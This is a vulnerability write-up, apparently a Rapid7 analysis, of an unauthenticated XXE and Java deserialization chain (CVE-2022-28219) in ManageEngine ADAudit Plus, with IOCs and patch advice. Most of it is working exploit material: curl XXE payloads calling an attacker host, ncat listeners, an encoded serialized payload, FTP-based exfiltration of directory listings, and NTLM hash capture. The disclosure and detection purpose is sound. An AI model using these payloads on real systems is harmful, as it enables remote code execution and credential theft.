Attacker Value
Unknown
(0 users assessed)
Exploitability
Unknown
(0 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2022-28219

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Cewolf in Zoho ManageEngine ADAudit Plus before 7060 is vulnerable to an unauthenticated XXE attack that leads to Remote Code Execution.

Add Assessment

No one has assessed this topic. Be the first to add your voice to the community.

General Information

Additional Info

Technical Analysis

Overview

On June 29, 2022, Horizon3 Attack Team posted a writeup of CVE-2022-28219, which is a Java deserialization issue in ManageEngine ADAudit Plus. Combined with a secondary XXE vulnerability, this leads to remote code execution as the user that executes the ADAudit Plus service.

These issues were confirmed by Zoho and are fixed in ADAudit Plus build 7060. We confirmed the issues on build 7055. Earlier versions are likely also vulnerable.

Because ADAuditPlus is typically an internal tool, there are very few deployed on the Internet (only 17 as of this writing). However, Horizon3 released a full exploit chain, and ADAudit Plus typically contains privileged credentials, so while Rapid7 has not detected exploitation activity as of this writing, we believe that exploitation is likely to occur. We strongly recommend patching to build 7060 or higher as soon as possible.

Technical Analysis

Warning: during our testing, the ManageAD server frequently became unresponsive and had to be restarted. Be cautious if testing in production!

Java Deserialization

The core vulnerability in CVE-2022-28219 is a Java deserialization issue in the /cewolf endpoint. Specifically, the img parameter is vulnerable to a path traversal issue, which permits an attacker to deserialize any file on the current drive. The following curl command exploits the issue:

curl 'http://target.ip:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../any/file.bin")

The tricky part of this exploit is getting that file onto the filesystem, then finding the full path; however, Horizon3 discovered a blind XXE issue that can be leveraged to do just that!

Blind XXE

To plant a file on the filesystem, Horizon3 used a secondary vulnerability that is fixed in the same patch: a blind XXE vulnerability in the /api/agent/tabs/agentData endpoint. We developed our own examples based heavily on Horizon3’s work.

First, start an Ncat listener on port 4444:

$ ncat -v -l -p 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Then send the following JSON payload:

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"http://10.0.0.146:4444/test.txt\"> %xxe;]>"}]'
{"success":true,"message":"Successfully events updated"}

The important values in that payload are:

Sure enough, Ncat receives the connection, which confirms the XXE issue:

$ ncat -l -p 4444
GET /test.txt HTTP/1.1
User-Agent: Java/1.8.0_51
Host: 10.0.0.146:4444
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Using the blind XXE, the attacker can:

  • Plant an arbitrary file
  • Get directory listings to find the file

Let’s look at how!

Side note: Stealing Passwords

It’s worth noting that this XXE vulnerability will attempt to authenticate as the current user, if challenged. As a result, we can use this to capture user credentials without all the other pieces of this attack chain.

First, set up a Metasploit listener:

msf6 > use auxiliary/server/capture/http_ntlm
msf6 auxiliary(server/capture/http_ntlm) > exploit
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/http_ntlm) > 
[*] Using URL: http://10.0.0.146:8080/GNs0yMGu
[*] Server started.

Then copy that link into an XXE request (setting the DomainName appropriately):

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"http://10.0.0.146:8080/GNs0yMGu\"> %xxe;]>[D"}]'
{"success":true,"message":"Successfully events updated"}

If done correctly, Metasploit should receive the request along with a password hash:

[...]
[*] Using URL: http://10.0.0.146:8080/GNs0yMGu
[*] Server started.
[*] 2022-07-05 13:39:42 -0700
NTLMv2 Response Captured from DESKTOP-44KEI7L 
DOMAIN: DESKTOP-44KEI7L USER: Ron 
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:94fd25e0534cf7886a44edd07bbd0cd2 NT_CLIENT_CHALLENGE:01010000000000002ea4f95aaf90d8016037ab4170f074b900000000020006004100440032000000000000000000

This password is not required for the actual exploit, however – it’s just an interesting alternative vector.

Planting a File with XXE

When we exploit the XXE issue in ADAudit Plus, the vulnerable server will connect to an HTTP server and request a file. If the request is a .jar file, and we don’t send a Content-Length header or close the connection, the file will eventually be written to the user’s temp folder (this technique was published by Timothy Morgan in 2013).

Updating our Ncat listener from the previous example, we can add headers and a “file” as part of the response, and tell Ncat to keep the socket open:

$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\nThis is a test\r\n' | ncat --no-shutdown -l -p 4444

Then send an XXE request for a .jar file this time (remembering to update DomainName to a monitored domain):

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:http://10.0.0.146:4444/test.txt!/file.txt\"> %xxe;]>"}]'
{"success":true,"message":"Successfully events updated"}

We now see the request go through to the listener, then stay open:

$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\nThis is a test\r\n' | ncat --no-shutdown -l -p 4444
GET /test.txt HTTP/1.1
User-Agent: Java/1.8.0_51
Host: 10.0.0.146:4444
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

And, on the target host, we can see the file is planted (and sticks around until Ncat is closed):

C:\Users\Ron>dir %temp%
 Volume in drive C has no label.
 Volume Serial Number is 440B-3483

 Directory of C:\Users\Ron\AppData\Local\Temp

[...]
07/05/2022  10:54 AM                 0 jar_cache8339952288214533754.tmp
[...]

Despite the file showing up as 0 bytes, it actually contains the data we sent:

C:\Users\Ron>type %temp%\jar_cache8339952288214533754.tmp
This is a test

Oddly, immediately after reading the file, Windows begins showing the size correctly. Just a weird quirk of Windows!

We can turn this into an actual exploit by using a payload from Horizon3’s proof of concept, which uses a ysoserial payload to execute calc.exe (other payloads will work as well, of course). First, write the header to a file:

$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\n' > poc.http

Then append the serialized Java object (we’ve included it as compressed Base64):

$ echo -ne 'QlpoOTFBWSZTWfuT3ekABW7/////////////////uL////EQQCwgJY4l0yAQBDpJE4xL0AUXukbdHY1dApQrBKQkk8EmIMmj0I8aoeptDKNMTQxGmmhkHpA9Ew0agAxDQ0NM1NHqPSaMIMg9HpQSUk2U0mp4ak2SeapozUMhoND1BoGaTQGgBhAMgAABpoAMQ0aABoyaBoKaE1JtJhGyCaMTNE9Ew00CNNHqGjRiNDIwJo0wTBG0J6gDajJiDI0ZA0EDJk0xNDJiYjIyYmmAmAJghgAIyYTAgxDCMRiYQANAAaA0wSKJomQJoxAjYgUeFDyh5R6hoaZBp6hpo0AGgA9QGmgAAAepoAAaDqWw810Zo7DcOdVD4Tp+eklS3guq8lhWhEUFCygN9w88mZALgNArTEFCeAkTmUG2ZnAMsmMefgqpaDmAZBtg8nvaBnCfcgKKOEgJ2E8qhJnxNCgNQcvDOS6Tkduvd9yGzIlDEy+SDk/tANY4k5j+PKIY5TBFOKDkQMA1RIhkHUsgqSggEAatY27w7fGlcoGyjR3Il5mdguLEYgOWQuSiAQDrgrAtbxIqMcRgBu9BbAxYmTkEaPVV42PGZHROLPh/xYzkZwbBu/B5Q2iBAjq3DTr2yrH0Akmm2Ep/5CSQAaAivAYueeJtRjDr5witsEOedu3ymbAZREJ8JHZ5RetGjbvc8GY0cS9GTh98TGMwmbB3aj3kbNughjP4XjvnC0rS8D9H5EQSud5pRD02BU0QYJtW22lzmHIa3NxuRdYW5Y99WE9QZAUuQpDMUhfYKwlXq0QPSV4tBAq5PRYAazA/t7zD/WgPuaL7GDPrYcCuc3V15W4JkC0NKkvfLmqJlj6DN2Ij6GOVPTUoUxkpyAojZ0pbCCk0jdkBUioQ0jmCnmClIlYE66RMiwcrkfdQPn5gSZRkDjgkrAW7EY0T8HJBh/w9OCkE2nIKhG0cRjGmr6uJ7ELY2FLRxRaPjuDLpbT8jDTINLknbGkH+C6IvnG6ITAPqfh+E420XdbeGQKZ8LOaNiY53uFwVTT22Lukqat7zPHwBPmcvjDT5vMUuULyBUfHFFNx0mk4+korKc3YktIk50kdgszebCJhyYC2Do4Ll7J39ktmse3bs04l1FoWyXTOCg4gfBsEghzNA5BvDlEboRCOx5EruSQbSFeTJn2REr0Lgh3Y2IlUy7TkgMWeC45QZQoQEbxNni1eL4wOIFdKwSw6610ialJIEQhIQe9JM9qcK5MdVW6Wx4YipjwzZlWKgU8YzCNSSp+f1q9v0dtdJ9EBTGo3PU68C67xEwNxAYrkBXS6GyMrMwukjdMKg0iUJZ5gsETotynNxS06rVchNXBhXKlSu1NoTCAKWkaITHPSr2IlAuMguzZpw41im1opgNIZzBZ1IHg1940sFwSsG+WBKALfGjU0iZahevaCFQi6Mn0DEX1bmpFQw51R5/yFr5ntuDDP2i/ixarAZpiaQXwN9TzzVigYGNhFjijuEaSoggaJ8nNojEiLQKRAD0eITiEYlxtO81zENIcBVwWCmiQoGcOADRE5dATJMpIEgVIQ/f45yQ7qDMLN7KMcAY0ygC4OBoKcLwfD16VckQXbkWhQsIgnpKYlIFWA8WLbplEkkI9Go1GFeFUuUwgwY0WaTaG1FRFGgkJRJgUy6yYiCgGnoTTNjYXIE99uYtz/5IMM0yiYBd0XCsUmSWAmK1JtwFeFe3eyx7F0HU6xrYLKRNKg1oWnpSpuKBBrLHNEwzmSKmtqk4K3rl4sqyIkFqcHZyiKCRKztLMwqrAYpsqJWxWHxj01NlAvkSGS4s/SJxDEBWvk9JeIZ5RZ0ZXKqkfeRXXkRcctDZPFHaZe6VIIaPFOCkPAsNbzadK45lu3X8gRr2PVSw/VFLizS38FAwJ5J2XKN1sdWfc2OlPqYVBezl9dx5LoH5SH/xdyRThQkPuT3ek=' | base64 -d | bunzip2 >> poc.http

Then listen with Ncat, sending the file we created:

$ ncat --no-shutdown -l -p 4444 < poc.http

And send the same XXE request to the vulnerable server, telling it to read the a .jar file from the vulnerable server:

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:http://10.0.0.146:4444/test.txt!/file.txt\"> %xxe;]>"}]'
{"success":true,"message":"Successfully events updated"}

That’ll plant the payload on the target server. If we can figure out the filename, we can execute the payload with the Java deserialization bug:

$ curl 'http://10.0.0.148:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../users/Ron/appdata/local/temp/jar_cache1972525510383365883.tmp'
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

And that does indeed execute the payload:

C:\Users\Ron>tasklist | find "Calc"
Calculator.exe                2844 Console                    1     36,280 K

The issue, of course, is figuring out the name of that file!

Finding the File with XXE

You might notice that the name of the payload file really isn’t guessable. Thankfully, XXE comes to the rescue again! We can use an XXE server to get directory listings!

Once again, we’ll use Ncat and curl to test this exploit by hand. Basically, we:

  • Create an HTTP server for the XXE exploit to connect to, which will expand a directory’s contents and send it to an FTP server
  • Create an FTP server that will speak the FTP protocol just long enough to get that directory listing
  • Send an XXE exploit to make all this happen

If you think this sounds complicated, you’re right! We’ve included a full proof of concept below, and Horizon3 also has their proof of concept, so you don’t actually have to run any of this if you don’t want to.

First, create the HTTP server that will send the directory contents to FTP; we run this on port 5555 to distinguish it from the earlier payloads (since in the final exploit, this will all have to happen simultaneously)::

$ echo -ne 'HTTP/1.0 200 OK\r\n\r\n<!ENTITY % all "<!ENTITY send SYSTEM \x27ftp://10.0.0.146:2121/%file;\x27>"> %all;\r\n' | ncat -v -l -p 5555
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555

Then, create our “good-enough” FTP server using Ncat:

$ echo -ne '200 Howdy\n331 Is this FTP?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2121
Ncat: Listening on 0.0.0.0:2121

And finally, trigger the XXE again, with a new payload this time (remember to change the DomainName to a real domain that the ADAudit Plus server recognizes):

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:\\users\"><!ENTITY % dtd SYSTEM \"http://10.0.0.146:5555/data.dtd\"> %dtd;]><data>&send;</data>"}]'

If everything worked, the FTP server should receive a directory listing – everything after RETR is the listing of c:\Users:

$ echo -ne '200 Howdy\n331 is this ftp?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2121
Ncat: Listening on 0.0.0.0:2121
Ncat: Connection from 10.0.0.148.
Ncat: Connection from 10.0.0.148:50033.
USER anonymous
PASS Java1.8.0_51@
TYPE I
EPSV ALL
EPSV
EPRT |1|10.0.0.148|50034|
RETR All Users
Default
Default User
desktop.ini
Public
Ron

The only non-default username on the list is mine – Ron – so then we want to get a listing for Ron’s temp folder. So we start the two Ncat servers again and send a new request:

$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:\\users\\ron\\appdata\\local\\temp\"><!ENTITY % dtd SYSTEM \"http://10.0.0.146:5555/data.dtd\"> %dtd;]><data>&send;</data>"}]'
{"success":true,"message":"Successfully events updated"}

And this time on our FTP server:

$ echo -ne '200 Howdy\n331 is this ftp?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2121
Ncat: Listening on 0.0.0.0:2121
Ncat: Connection from 10.0.0.148.
Ncat: Connection from 10.0.0.148:50052.
USER anonymous
PASS Java1.8.0_51@
[...]
jar_cache7429391271310529128.tmp
[...]

And there’s our filename! We can now use the /cewolf endpoint to deserialize that file:

$ curl 'http://10.0.0.148:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../users/Ron/appdata/local/temp/jar_cache7429391271310529128.tmp'

And execute the serialized Java code!

Putting it all Together

This exploit chain is quite complicated, and hats off to Horizon3 for developing this beat!

To summarize everything you must do:

  • “Upload” an arbitrary file to the server using XXE
    • Create an HTTP server that serves the malicious serialized Java file, then stays open (using ncat --no-shutdown)
    • Trigger the XXE endpoint, telling the server to download that file
  • While that HTTP connection is open, find the location of the temporary file
    • Create an HTTP server that references an FTP server
    • Create an FTP server that implements enough of the protocol to get a directory listing
    • Trigger the XXE endpoint, passing along the directory that we want the listing of (first file:/users, then file:/users/<target>/appdata/local/temp
  • Trigger the deserialization using the path traversal in the /cewolf endpoint, the file we uploaded, and that path we determined

You can get Horizon3’s proof of concept here. We also wrote our own exploit, which is simply a re-implementation of Horizon3’s. It is available on Github.

IOCs

Requests to ManageEngine ADAudit Plus are logged in C:\Program Files\ManageEngine\ADAudit Plus\Logs or C:\Program Files (x86)\ManageEngine\ADAudit Plus\Logs. EventLog_<date>.txt will show some attack artifacts:

$ cat EventLog_2022-07-05.txt
[...]
[13:22:27:899]|[07-05-2022]|[EventLogger]|[INFO]|[143]: Intializing Event Manager|
[13:22:41:323]|[07-05-2022]|[EventLogger]|[WARNING]|[144]: Exception in getting ColumnValue for::{CategoryId=11, monitorDomainName=ad.example.local, Task Content=<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE data [
    <!ENTITY % xxe SYSTEM "jar:http://10.0.0.146:5555/upload.jar!/file.txt"> %xxe;
  ]>
, DomainDnsName=ad.example.local, TimeGenerated=0, DomainName=ad.example.local, EventType=0, MonitorId=70, EventCode=4688}::Row Value::null|

Additionally, accesses to the /cewolf endpoint in access_log_<date>.txt should be viewed as very suspicious, especially with a user-agent like Python or Ruby:

- /cewolf/logo.png 338499D537DF96422EAC8573381844AA "-" 10.0.0.146 10.0.0.148 GET [05/Jul/2022:13:22:35 -0700] 110 8331 200 "Ruby"

Guidance

Rapid7 recommends updating ManageEngine ADAudit Plus to build 7060 or higher using a service pack

As an additional defense-in-depth measure, ADAudit Plus should not be exposed to the public internet or other untrusted networks.

References